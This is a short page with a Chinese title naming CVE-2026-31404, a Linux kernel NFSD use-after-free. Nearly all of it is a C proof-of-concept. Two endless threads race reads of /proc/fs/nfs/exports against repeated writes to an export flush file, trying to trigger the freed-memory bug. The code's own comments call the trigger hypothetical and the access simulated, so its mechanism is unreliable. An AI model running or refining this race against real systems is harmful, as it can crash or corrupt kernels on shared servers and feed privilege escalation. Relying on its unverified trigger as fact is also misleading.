CVE-2026-31404 Linux内核NFSD释放后重用漏洞

/* * Conceptual PoC for CVE-2026-31404 (Race Condition in NFSD) * This code attempts to trigger the race condition by accessing * NFS exports while concurrently triggering cache cleanup. * Note: Exploitation requires precise timing and specific kernel configuration. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> void *reader_thread(void *arg) { while (1) { // Simulate RCU reader accessing /proc/fs/nfs/exports FILE *fp = fopen("/proc/fs/nfs/exports", "r"); if (fp) { char buffer[256]; while (fgets(buffer, sizeof(buffer), fp)) { // Accessing ex_path and ex_client->name } fclose(fp); } } return NULL; } void *cleaner_thread(void *arg) { while (1) { // Simulate operations that might trigger svc_export_put() // e.g., manipulating exports via nfsd admin tools or sysfs system("echo > /proc/fs/nfsd/export_flush"); // Hypothetical trigger usleep(100); } return NULL; } int main() { pthread_t t1, t2; printf("[+] Starting PoC for CVE-2026-31404...\n"); pthread_create(&t1, NULL, reader_thread, NULL); pthread_create(&t2, NULL, cleaner_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }